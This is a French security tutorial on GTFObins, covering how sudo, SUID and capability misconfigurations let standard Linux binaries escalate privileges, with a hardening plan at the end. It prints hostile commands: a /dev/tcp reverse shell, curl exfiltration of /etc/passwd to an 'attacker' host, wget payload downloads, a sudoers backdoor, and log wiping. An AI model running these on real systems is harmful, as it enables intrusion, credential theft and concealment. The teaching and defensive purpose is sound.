
Un serveur Linux standard contient des dizaines de binaires exploitables :
find, vim, awk, tar, python… Tous installés par défaut, tous
capables d’exécuter des commandes arbitraires, lire des fichiers protégés ou
ouvrir un shell root si les permissions sont mal configurées.
GTFObins est la base de données de référence qui
catalogue plus de 400 de ces binaires et explique comment les détourner —
ou les verrouiller.
Ce guide vous apprend à auditer vos serveurs, tester les techniques d’exploitation les plus courantes et durcir vos configurations. Il s’adresse aux administrateurs système et aux débutants en sécurité offensive.
Ce que vous allez apprendre
Section intitulée « Ce que vous allez apprendre »- Ce qu’est GTFObins et comment l’utiliser
- Les 4 contextes d’exploitation (non privilégié, sudo, SUID, capabilities)
- Les 11 catégories de fonctions exploitables (shell, file read, reverse shell…)
- 5 techniques testées pas à pas sur votre machine
- Un plan de durcissement en 7 points pour sécuriser vos serveurs
Qu’est-ce que GTFObins ?
Section intitulée « Qu’est-ce que GTFObins ? »GTFObins (« Get The F*** Out Binaries ») est un catalogue collaboratif de binaires Unix dont les fonctionnalités légitimes peuvent être détournées pour contourner des restrictions de sécurité.
L’analogie est simple : imaginez une boîte à outils dans un atelier. Chaque outil a un usage prévu — tournevis, marteau, scie. Mais entre de mauvaises mains, ces mêmes outils deviennent des armes. GTFObins est le catalogue de ces détournements pour les binaires Linux.
Le projet a été créé en 2018 par Emilio Pinna et Andrea Cardaci, deux chercheurs en sécurité. Il est hébergé sur gtfobins.org (anciennement gtfobins.github.io) et compte plus de 12 700 étoiles sur GitHub. La communauté contribue activement en ajoutant de nouveaux binaires et techniques.
| Aspect | Détail |
|---|---|
| Objectif | Cataloguer les usages détournés des binaires Unix |
| Nombre de binaires | 400+ documentés |
| Équivalent Windows | LOLBAS |
| Équivalent CI/CD | LOTP |
| Licence | Open source (GitHub) |
| API | JSON disponible sur gtfobins.org/api.json |
Prérequis
Section intitulée « Prérequis »- Un système Linux (Ubuntu, Debian, Rocky, ou autre)
- Accès à un terminal en tant qu’utilisateur standard
- Connaissances de base en ligne de commande (
cd,ls,cat,chmod) - Idéalement : une machine virtuelle ou un conteneur pour les tests
Les 4 contextes d’exploitation
Section intitulée « Les 4 contextes d’exploitation »GTFObins classe les exploits selon 4 contextes qui déterminent quel niveau de privilège l’attaquant peut atteindre.
Contexte 1 : non privilégié (Unprivileged)
Section intitulée « Contexte 1 : non privilégié (Unprivileged) »L’attaquant exécute le binaire sans aucune élévation de privilège. Il agit avec ses propres droits.
C’est le cas le plus courant : un utilisateur standard qui lance awk,
python3 ou find avec ses propres permissions. Le risque existe si le
binaire permet d’exécuter des commandes système — par exemple, un shell
restreint peut être contourné via awk 'BEGIN {system("/bin/sh")}'.
Contexte 2 : Sudo
Section intitulée « Contexte 2 : Sudo »L’utilisateur peut exécuter certains binaires avec sudo grâce à une
règle dans /etc/sudoers. Si le binaire autorisé est dans GTFObins, il peut
servir de tremplin vers un shell root.
Un exemple classique : si /etc/sudoers contient
user ALL=(ALL) NOPASSWD: /usr/bin/vim, alors sudo vim -c ':!/bin/sh'
donne un shell root.
Contexte 3 : SUID
Section intitulée « Contexte 3 : SUID »Le bit SUID (Set User ID) permet à un binaire de s’exécuter avec les privilèges de son propriétaire (souvent root), quel que soit l’utilisateur qui le lance.
Quand un binaire SUID figure dans GTFObins, n’importe quel utilisateur local peut potentiellement obtenir un shell root. C’est l’un des vecteurs d’escalade de privilèges les plus recherchés en pentest.
Contexte 4 : Capabilities
Section intitulée « Contexte 4 : Capabilities »Les Linux Capabilities sont un mécanisme plus fin que SUID. Au lieu de donner tous les droits root, on accorde des permissions spécifiques (accès réseau raw, changement d’utilisateur, etc.).
Mais certaines capabilities, comme cap_setuid, permettent à un binaire de
changer d’identité — ce qui revient à une escalade de privilèges si le
binaire est dans GTFObins.
| Contexte | Commande d’audit | Ce qu’on cherche |
|---|---|---|
| Sudo | sudo -l | Binaires autorisés sans mot de passe |
| SUID | find / -perm -4000 -type f 2>/dev/null | Binaires avec le bit SUID |
| Capabilities | getcap -r / 2>/dev/null | Binaires avec capabilities |
Vue d’ensemble : du repérage au durcissement
Section intitulée « Vue d’ensemble : du repérage au durcissement »Ce diagramme synthétise les 4 phases de travail avec GTFObins — de la reconnaissance des binaires à risque jusqu’aux actions de durcissement.
Les 11 catégories de fonctions exploitables
Section intitulée « Les 11 catégories de fonctions exploitables »Chaque binaire dans GTFObins est classé selon les fonctions qu’il peut détourner. Voici les 11 catégories, de la plus courante à la plus spécialisée.
| Catégorie | Description | Exemple |
|---|---|---|
| Shell | Ouvrir un shell interactif | awk 'BEGIN {system("/bin/sh")}' |
| Command | Exécuter une commande unique | find /dev/null -exec id \; |
| File Read | Lire un fichier protégé | dd if=/etc/shadow 2>/dev/null |
| File Write | Écrire dans un fichier protégé | echo "data" | tee /etc/cron.d/backdoor |
| Reverse Shell | Connexion sortante vers l’attaquant | bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 |
| Bind Shell | Ouvrir un port en écoute | nc -l -p 4444 -e /bin/sh |
| Upload | Envoyer un fichier depuis la cible | curl -F 'f=@/etc/passwd' http://attacker/ |
| Download | Télécharger un fichier sur la cible | wget http://attacker/payload -O /tmp/p |
| Library Load | Charger une bibliothèque .so | LD_PRELOAD=/tmp/malicious.so cmd |
| Privilege Escalation | Escalade directe (chmod, chown) | chmod u+s /bin/bash |
| Inherit | Hériter des privilèges d’un pager | PAGER='sh -c "exec sh"' man ls |
Lab : tester 5 techniques GTFObins
Section intitulée « Lab : tester 5 techniques GTFObins »Passons à la pratique. Ces 5 techniques sont testables sur n’importe quelle machine Linux sans avoir besoin de droits root (sauf mention contraire). Chaque technique démontre un type d’exploitation différent.
Technique 1 : exécuter une commande via awk
Section intitulée « Technique 1 : exécuter une commande via awk »Pourquoi c’est possible : awk dispose de la fonction system() qui
exécute n’importe quelle commande système. Si awk est autorisé en sudo ou
possède le bit SUID, cette fonction hérite des privilèges élevés.
-
Exécuter une commande système via
awk:Fenêtre de terminal awk 'BEGIN {system("id")}'Résultat attendu : la commande
idaffiche votre uid, gid et groupes. -
Lire un fichier via
awk:Fenêtre de terminal echo "donnee_sensible" > /tmp/gtfo-test.txtawk '{print}' /tmp/gtfo-test.txtRésultat attendu : le contenu du fichier s’affiche.
-
Vérification — nettoyez le fichier de test :
Fenêtre de terminal rm -f /tmp/gtfo-test.txt
Impact si SUID/sudo : un attaquant obtient un shell root avec
awk 'BEGIN {system("/bin/sh")}'.
Technique 2 : exécuter une commande via find
Section intitulée « Technique 2 : exécuter une commande via find »Pourquoi c’est possible : l’option -exec de find exécute une commande
pour chaque fichier trouvé. Combinée avec -quit, elle exécute une seule
commande : celle de l’attaquant.
-
Exécuter
idviafind:Fenêtre de terminal find /dev/null -exec id \;Résultat attendu : votre uid/gid s’affiche.
-
Vérifier les binaires SUID sur le système :
Fenêtre de terminal find / -perm -4000 -type f 2>/dev/nullRésultat attendu : liste des binaires avec le bit SUID (mount, passwd, sudo, etc.).
-
Vérification — si
findapparaît dans la liste SUID, c’est un risque critique. Un attaquant pourrait lancer :Fenêtre de terminal find . -exec /bin/sh -p \; -quitL’option
-pde/bin/shconserve les privilèges SUID au lieu de les abandonner.
Technique 3 : exécuter du code via tar
Section intitulée « Technique 3 : exécuter du code via tar »Pourquoi c’est possible : GNU tar supporte les options --checkpoint et
--checkpoint-action=exec=COMMANDE qui exécutent une commande à chaque N
enregistrements traités. Cette fonctionnalité, prévue pour afficher la
progression, permet d’exécuter du code arbitraire.
-
Créer un fichier de test :
Fenêtre de terminal echo "test" > /tmp/gtfo-tar.txt -
Exécuter une commande lors de l’archivage :
Fenêtre de terminal tar cf /dev/null /tmp/gtfo-tar.txt \--checkpoint=1 \--checkpoint-action=exec=idRésultat attendu : la commande
ids’affiche entre les lignes de sortie detar. -
Nettoyage :
Fenêtre de terminal rm -f /tmp/gtfo-tar.txt
Impact si SUID/sudo : tar avec sudo permet d’exécuter n’importe quelle
commande en root. C’est particulièrement vicieux car tar est souvent
autorisé dans les sauvegardes planifiées.
Technique 4 : obtenir un shell via python
Section intitulée « Technique 4 : obtenir un shell via python »Pourquoi c’est possible : Python dispose de multiples modules pour exécuter
des commandes (os.system, subprocess, pty.spawn). Le module pty est
particulièrement dangereux car il crée un vrai shell interactif avec les
privilèges du processus Python.
-
Exécuter une commande système :
Fenêtre de terminal python3 -c 'import os; os.system("id")'Résultat attendu : votre uid/gid s’affiche.
-
Vérifier que
pty.spawnest disponible :Fenêtre de terminal python3 -c 'import pty; print("pty.spawn disponible")'Résultat attendu :
pty.spawn disponible. Le moduleptyest inclus dans la bibliothèque standard de Python — il est toujours présent. -
En contexte SUID/sudo, un attaquant lancerait :
Fenêtre de terminal python3 -c 'import pty; pty.spawn("/bin/sh")'Cette commande ouvre un shell interactif complet, pas juste une exécution de commande.
Technique 5 : exécuter une commande via sed
Section intitulée « Technique 5 : exécuter une commande via sed »Pourquoi c’est possible : GNU sed (la version installée par défaut sur
la plupart des distributions Linux) supporte la commande e qui exécute le
contenu du pattern space comme une commande shell.
-
Exécuter
idviased:Fenêtre de terminal echo 'id' | sed 'e'Résultat attendu : votre uid/gid s’affiche.
-
Lire un fichier de manière détournée :
Fenêtre de terminal echo "secret_42" > /tmp/gtfo-sed.txtecho 'cat /tmp/gtfo-sed.txt' | sed 'e'Résultat attendu :
secret_42s’affiche. -
Nettoyage :
Fenêtre de terminal rm -f /tmp/gtfo-sed.txt
Impact si SUID/sudo : sed est rarement suspecté car il est perçu comme
un simple éditeur de flux. Un admin qui autorise sudo sed pense autoriser
de l’édition de texte — il autorise en réalité de l’exécution de code.
Scénario d’attaque complet
Section intitulée « Scénario d’attaque complet »Pour comprendre comment un attaquant combine ces techniques, voici un scénario réaliste en 5 étapes. Il illustre la méthodologie classique d’escalade de privilèges sur un serveur Linux.
-
Reconnaissance — identifier les vecteurs d’escalade :
L’attaquant, connecté en tant qu’utilisateur standard, lance trois commandes d’audit :
Fenêtre de terminal # Binaires SUIDfind / -perm -4000 -type f 2>/dev/null# Permissions sudosudo -l# Capabilitiesgetcap -r / 2>/dev/nullRésultat :
findest SUID root etvimest autorisé en sudo sans mot de passe. -
Exploitation — obtenir un shell root :
L’attaquant consulte GTFObins pour
findetvim, puis choisit la méthode la plus directe :Fenêtre de terminal # Via le SUID sur findfind . -exec /bin/sh -p \; -quitRésultat : un shell root s’ouvre.
-
Exfiltration — lire les fichiers sensibles :
Avec les droits root, l’attaquant accède aux informations critiques :
Fenêtre de terminal cat /etc/shadowCe fichier contient les mots de passe hachés de tous les utilisateurs du système. Il peut être craqué hors ligne avec des outils comme
hashcatoujohn. -
Persistance — maintenir l’accès :
L’attaquant crée un accès permanent en ajoutant une règle sudoers :
Fenêtre de terminal echo "attacker ALL=(ALL) NOPASSWD: ALL" | tee /etc/sudoers.d/backdoorMême si le SUID sur
findest ensuite corrigé, l’attaquant conserve un accès root via sa propre règle sudo. -
Couverture — effacer les traces :
Fenêtre de terminal rm -f /var/log/auth.loghistory -cL’attaquant supprime les journaux d’authentification et l’historique des commandes pour retarder la détection.
Durcissement : 7 actions concrètes
Section intitulée « Durcissement : 7 actions concrètes »Maintenant que vous comprenez les techniques, voici comment verrouiller vos serveurs contre ces exploits.
-
Auditer les binaires SUID — identifiez et retirez les SUID inutiles :
Fenêtre de terminal # Lister tous les SUIDfind / -perm -4000 -type f 2>/dev/null# Retirer le SUID d'un binaire non nécessairechmod u-s /usr/bin/findVérification : relancez la commande
find / -perm -4000— le binaire ne doit plus apparaître. -
Verrouiller sudo — restreignez les commandes autorisées et bannissez les binaires interactifs :
/usr/bin/vim # Dans /etc/sudoers (via visudo)# DANGEREUX : autorise vim sans restriction## SÉCURISÉ : autorise uniquement systemctl restartuser ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginxRègle : ne jamais autoriser en sudo des binaires à shell escape (
vim,less,man,awk,python,perl,ruby,node). -
Vérifier les capabilities — retirez les capabilities excessives :
Fenêtre de terminal # Listergetcap -r / 2>/dev/null# Retirer une capabilitysetcap -r /usr/bin/python3 -
Bloquer les connexions sortantes — empêchez les reverse shells :
Fenêtre de terminal # Avec ufw : bloquer tout en sortie sauf HTTP/HTTPS/DNSufw default deny outgoingufw allow out 80/tcpufw allow out 443/tcpufw allow out 53/udp -
Supprimer les binaires inutiles — désinstallez les interpréteurs et outils réseau non nécessaires :
Fenêtre de terminal # Si Python, PHP ou Ruby ne sont pas nécessaires sur un serveurapt remove --purge python3 php ruby# Si netcat n'est pas nécessaireapt remove --purge netcat-openbsd -
Centraliser les logs — empêchez un attaquant d’effacer ses traces en envoyant les journaux vers un serveur distant (rsyslog, Loki, etc.) :
/etc/rsyslog.d/remote.conf *.* @@logserver.internal:514 -
Automatiser les audits — utilisez un outil comme Lynis pour détecter automatiquement les mauvaises configurations :
Fenêtre de terminal lynis audit systemLynis vérifie les SUID, les permissions sudo, les capabilities et des centaines d’autres points de sécurité.
Dépannage
Section intitulée « Dépannage »| Symptôme | Cause probable | Solution |
|---|---|---|
find / -perm -4000 ne retourne rien | Droits insuffisants ou filesystem monté avec nosuid | Lancer avec sudo ou vérifier les options de montage |
sudo -l demande un mot de passe | L’utilisateur n’est pas dans le fichier sudoers | Se connecter en tant que l’utilisateur cible ou vérifier /etc/sudoers |
getcap indique command not found | La commande n’est pas installée | Installer : apt install libcap2-bin |
| Le shell SUID ignore les privilèges | Le shell utilise -p mais bash drop les privs par défaut | Utiliser /bin/sh -p au lieu de /bin/bash — dash conserve les SUID |
tar --checkpoint-action ne s’exécute pas | Version BSD de tar (macOS) | Installer GNU tar : apt install tar (par défaut sur Linux) |
| Le reverse shell ne se connecte pas | Connexions sortantes bloquées par firewall | Vérifier les règles iptables/ufw — le durcissement fonctionne |
À retenir
Section intitulée « À retenir »-
GTFObins catalogue 400+ binaires Unix dont les fonctions légitimes permettent de contourner des restrictions de sécurité. Ce ne sont pas des vulnérabilités, mais des fonctionnalités détournées.
-
4 contextes d’exploitation : non privilégié, sudo, SUID et capabilities. L’audit de ces trois derniers est la première étape de tout durcissement.
-
Les binaires les plus dangereux en sudo/SUID sont ceux qui ont un « shell escape » :
vim,less,man,awk,python,perl,find,tar. -
La remédiation passe par 3 axes : retirer les SUID inutiles, restreindre sudo aux commandes spécifiques (pas aux binaires interactifs), et bloquer les connexions sortantes.
-
Automatisez les audits avec Lynis pour détecter les configurations à risque avant qu’un attaquant ne le fasse.
-
GTFObins a un équivalent pour les pipelines CI/CD : LOTP catalogue 59 outils de développement dont les fichiers de config exécutent du code.